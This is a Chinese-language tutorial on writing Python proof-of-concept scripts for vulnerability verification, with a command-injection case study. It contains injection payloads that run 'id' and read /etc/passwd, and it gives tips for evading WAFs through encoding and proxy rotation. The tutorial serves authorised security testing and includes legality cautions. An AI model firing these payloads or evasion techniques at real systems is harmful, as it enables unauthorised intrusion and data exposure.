目录
一、POC 编写核心流程
二、常用 Python 库与工具
三、POC 框架推荐
四、高级优化技巧
五、安全规范与注意事项
六、实战案例:命令注入漏洞验证
一、POC 编写核心流程
-
漏洞分析
-
确定漏洞类型:根据目标特征判断漏洞类型(如 SQL 注入、命令注入、文件上传等)。
-
触发条件验证:通过手动测试(如 Burp Suite 抓包)确认漏洞触发点,例如构造|whoami参数触发命令注入。
-
-
脚本设计
-
选择验证逻辑:
-
响应特征检测:通过状态码、页面内容(如DEBUG = True或特定报错信息)判断漏洞存在性。
-
行为验证:例如通过时间延迟(SLEEP(5))检测 SQL 盲注。
-
-
模块化设计:将目标获取、请求发送、结果解析分离,提升代码复用性。
-
-
代码实现
import requests def check_rce(target): payload = "/api?input=|whoami" try: response = requests.get(target + payload, timeout=5) if "root" in response.text: return True, "存在命令注入漏洞" except Exception as e: pass return False, "漏洞不存在"
-
关键库:requests(HTTP 请求)re(正则匹配)lxml(HTML 解析)
-
多线程优化:使用threading或concurrent.futures加速批量扫描。
-
二、常用 Python 库与工具
库/工具 | 用途 | 代码示例 |
---|---|---|
requests |
发送 HTTP 请求,支持代理和超时设置 | requests.get(url, headers=headers) |
BeautifulSoup |
解析 HTML 响应内容 | soup.find_all('script') |
socket |
实现端口扫描或低级协议交互 | socket.connect((ip, port)) |
pocsuite3 |
集成化漏洞验证框架,支持报告生成 | 继承 POCBase 类实现 _verify()
|
Scapy |
构造自定义网络数据包(如 ARP 欺骗检测) | send(IP(dst=target)/ICMP()) |
三、POC 框架推荐
-
Pocsuite3
-
特点:支持多线程、批量扫描,与 Seebug 漏洞平台集成。
-
开发模板:
from pocsuite3.api import POCBase class TestPOC(POCBase): def _verify(self): if self.check_response('漏洞特征'): return self.parse_output({'存在漏洞': True})
-
-
ARL-NPoC
-
场景:专为资产灯塔(ARL)设计,支持插件化漏洞验证。
-
代码结构:
from xing.core.BasePlugin import BasePlugin class Plugin(BasePlugin): def verify(self, target): if "Django DEBUG" in response.text: self.logger.success("漏洞存在")
-
四、高级优化技巧
-
规避防护机制
-
请求伪装:随机 User-Agent(fake_useragent库)、IP 轮换(代理池)。
-
Payload 编码:使用 Base64、URL 编码绕过 WAF 检测。
-
-
性能调优
-
异步 IO:采用aiohttp+asyncio实现高并发请求。
-
结果持久化:将漏洞结果写入 JSON 或数据库(如 SQLite)。
-
五、安全规范与注意事项
-
合法性
授权测试:仅对授权目标进行漏洞验证,避免法律风险。
非破坏性验证:禁止执行rm -rf或数据篡改操作。
-
漏洞披露
负责任的披露:通过 CVE、CNVD 等平台提交漏洞,避免公开细节。
六、实战案例:命令注入漏洞验证
漏洞背景:某 Web 应用未过滤用户输入,导致可通过参数注入系统命令。 POC 实现:
import requests
def check_command_injection(url):
payloads = [";id", "|cat /etc/passwd", "$(ls /)"]
for cmd in payloads:
try:
response = requests.get(f"{url}?query={cmd}", timeout=3)
if "uid=" in response.text:
return True, f"注入成功:{cmd}"
except:
continue
return False, "未检测到漏洞"
检测逻辑:依次发送恶意命令,根据响应内容判断命令执行结果。